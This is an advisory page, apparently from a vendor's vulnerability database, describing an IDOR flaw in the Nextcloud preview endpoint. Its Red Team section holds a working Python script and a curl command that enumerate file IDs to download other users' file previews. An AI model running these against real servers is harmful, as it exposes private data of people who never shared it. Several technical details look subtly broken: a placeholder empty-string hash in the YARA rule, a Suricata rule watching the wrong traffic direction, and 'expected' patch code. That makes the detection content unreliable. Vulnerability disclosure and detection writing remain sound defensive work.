CVE-2025-64011
Executive Summary
CVE-2025-64011 is an Insecure Direct Object Reference (IDOR) vulnerability in Nextcloud Server version 30.0.0. The flaw resides in the /core/preview endpoint, where an authenticated user can manipulate the fileId parameter to access file previews belonging to other users. This bypasses the intended sharing permissions, allowing unauthorized disclosure of sensitive data such as text files, images, and other documents. The vulnerability requires authentication but no special privileges, making it a significant threat to data confidentiality in Nextcloud deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Nextcloud is a self-hosted file sync and share platform written in PHP. The vulnerability affects the core server package, not third-party libraries. However, administrators should verify the integrity of their Nextcloud installation and ensure no malicious modifications have been made. The supply chain risk is low, as the vulnerability is in the application logic rather than a dependency.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires a valid user account.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): High (H) – Full disclosure of file previews.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No impact on availability.
CVSS Score: 6.5 (Medium)
Threat Level: Moderate – Exploitation is straightforward but requires authentication.
Deep Dive & Mechanics
The /core/preview endpoint in Nextcloud is designed to generate and serve previews (thumbnails) of files. It accepts a fileId parameter to identify which file to preview. The vulnerability arises because the endpoint does not verify that the requesting user has permission to access the file associated with the given fileId. An attacker can enumerate fileId values (which are sequential integers) to access previews of files owned by other users.
Root Cause: Missing authorization check in the preview generation logic. The code retrieves the file by ID and generates a preview without checking if the current user has read access to that file.
Exploitation Flow:
- Authenticate to Nextcloud (e.g., via a valid user session).
- Send a GET request to
/core/preview?fileId=<target_file_id>. - The server returns the preview image of the file, even if the file belongs to another user.
Impact: An attacker can exfiltrate sensitive data by previewing files such as:
- Text documents (e.g.,
.txt,.md) - Images (e.g.,
.jpg,.png) - PDFs (preview may show first page)
Vulnerable vs. Patched Code
Vulnerable Code (Nextcloud 30.0.0):
// In lib/private/Preview/Manager.php
public function getPreview($fileId, $width, $height, $crop) {
$file = $this->rootFolder->getById($fileId);
// No permission check here
return $this->generatePreview($file, $width, $height, $crop);
}
Patched Code (Expected in 30.1.0):
// In lib/private/Preview/Manager.php
public function getPreview($fileId, $width, $height, $crop) {
$file = $this->rootFolder->getById($fileId);
if (!$file->isReadable()) {
throw new \OCP\Files\NotFoundException('File not found or access denied');
}
return $this->generatePreview($file, $width, $height, $crop);
}
The patch adds a call to isReadable() which checks the current user's permissions before generating the preview.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A valid Nextcloud user account (any level).
- Knowledge of a target user's file ID (can be brute-forced as IDs are sequential).
Exploit Script (Python):
import requests
target_url = "https://nextcloud.example.com"
session = requests.Session()
session.auth = ("attacker_user", "password")
# Brute-force file IDs from 1 to 1000
for file_id in range(1, 1001):
url = f"{target_url}/core/preview?fileId={file_id}&width=256&height=256"
response = session.get(url)
if response.status_code == 200 and len(response.content) > 100:
print(f"[+] Found preview for file ID {file_id}")
with open(f"preview_{file_id}.png", "wb") as f:
f.write(response.content)
Manual Exploitation (cURL):
curl -u "attacker:password" "https://nextcloud.example.com/core/preview?fileId=42&width=256&height=256" -o preview_42.png
Blue Team (Detection & Mitigation)
Detection:
- Monitor for repeated requests to
/core/previewwith varyingfileIdparameters from the same user. - Alert on high volumes of 200 responses from
/core/previewfor files not owned by the requesting user.
Mitigation (Temporary):
- Disable the preview endpoint via web server configuration (e.g., block
/core/previewin.htaccessor Nginx config). - Implement rate limiting on the preview endpoint.
- Monitor logs for unusual access patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- Repeated GET requests to
/core/preview?fileId=<integer>from the same IP/user. - High number of 200 responses from
/core/previewfor differentfileIdvalues.
- Repeated GET requests to
- File IOCs:
- Unexpected preview images (
.pngfiles) in user directories or exfiltration points.
- Unexpected preview images (
- Log IOCs:
- Access logs showing
/core/previewrequests with sequentialfileIdparameters. - Application logs showing
OC\Preview\Manager::getPreviewcalls without prior file access checks.
- Access logs showing
Detection Engineering
YARA Rule
rule Detect_IDOR_Preview_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2025-64011 via repeated preview requests"
author = "Valters IT"
date = "2025-04-10"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$preview_path = "/core/preview"
$file_id_param = "fileId="
$sequential_ids = /fileId=\d+&fileId=\d+/ // Multiple fileId params in one request
condition:
#preview_path > 10 and #file_id_param > 10
}
Sigma Rule
title: Nextcloud IDOR Preview Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple requests to /core/preview with different fileId parameters from the same user
author: Valters IT
logsource:
category: webserver
product: nextcloud
detection:
selection:
cs-uri-query|contains: "/core/preview?fileId="
condition: selection | count() by c-ip > 50 within 5 minutes
falsepositives:
- Legitimate use of previews for shared files
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Nextcloud IDOR Preview Exploit (CVE-2025-64011)";
flow:to_server,established;
content:"/core/preview"; http_uri;
content:"fileId="; http_uri;
pcre:"/fileId=\d+/";
threshold: type both, track by_src, count 50, seconds 300;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Nextcloud 30.1.0 once released.
- Disable the preview endpoint temporarily:
- For Apache: Add
RedirectMatch 403 ^/core/previewto.htaccess. - For Nginx: Add
location /core/preview { deny all; }to the config.
- For Apache: Add
- Implement rate limiting on
/core/previewusing a WAF or web server module.
Long-term Fix:
- Apply the official patch from Nextcloud when available.
- Review all endpoints that accept file IDs for proper authorization checks.
Compensating Controls:
- Enable two-factor authentication (2FA) to reduce the risk of account compromise.
- Monitor logs for suspicious preview activity.
- Restrict preview generation to only files explicitly shared with the user.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.